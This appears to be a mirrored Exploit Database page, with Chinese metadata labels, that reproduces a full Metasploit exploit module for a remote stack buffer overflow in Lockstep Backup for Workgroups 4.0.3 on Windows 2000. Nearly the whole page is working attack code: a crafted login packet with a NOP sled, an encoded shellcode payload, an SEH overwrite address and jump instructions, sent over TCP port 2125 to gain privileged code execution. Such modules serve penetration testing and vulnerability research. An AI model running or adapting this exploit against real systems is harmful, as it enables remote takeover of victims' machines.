Lockstep Backup for Workgroups 4.0.3 – Remote Buffer Overflow (Metasploit)

• Exploit Database
• 19 阅读

• 作者： James Fitts
  日期： 2017-09-14
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/42721/

• require 'msf/core'
  
  class MetasploitModule < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::Tcp
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Lockstep Backup for Workgroups <= 4.0.3',
  			'Description'=> %q{
  				This module exploits a stack buffer overflow found in
  				Lockstep Backup for Workgroups <= 4.0.3. The vulnerability
  				is triggered when sending a specially crafted packet that
  				will cause a login failure.
  			},
  			'Author' => [ 'james fitts' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: $',
  			'References' =>
  				[
  					[ 'URL', 'http://secunia.com/advisories/50260/' ]
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Privileged' => true,
  			'Payload'=>
  				{
  					'Space'	=> 1000,
  					'BadChars' => "\x00",
  					'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
  					'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
  					'EncoderOptions' =>
  						{
  							'BufferRegister' => 'ECX',
  						},
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 
  						'Windows 2000 ALL EN', 
  							{ 
  								# msvcrt.dll
  								# pop ecx/ pop ecx/ retn
  								'Ret' => 0x780146c0, 
  							} 
  					],
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'Feb 11 2013'))
  
  		register_options(
  			[
  				Opt::RPORT(2125),
  				OptString.new('USERNAME', [ true, 'Username of victim', 'msf' ])
  			], self.class )
  	end
  
  	def exploit
  		connect
  
  		uname = datastore['USERNAME']
  
  		p ="\x90" * 16
  		p << payload.encoded
  
  		packet = rand_text_alpha_upper(10000)
  		packet[0, 8] = "BFWCA\x01\x01\x00"
  		packet[8, uname.length] = "#{uname}\x00"
  		packet[73, p.length] = p
  		packet[7197, 4] = "\xeb\x06\x90\x90"		# jmp $+8
  		packet[7201, 4] = [target.ret].pack('V')
  		packet[7205, 8] = "\x90" * 8
  		packet[7213, 2] = "\xff\xe7"			# jmp edi
  
  		print_status("Trying target %s..." % target.name)
  
  		sock.put(packet)
  
  		handler
  		disconnect
  	end
  
  end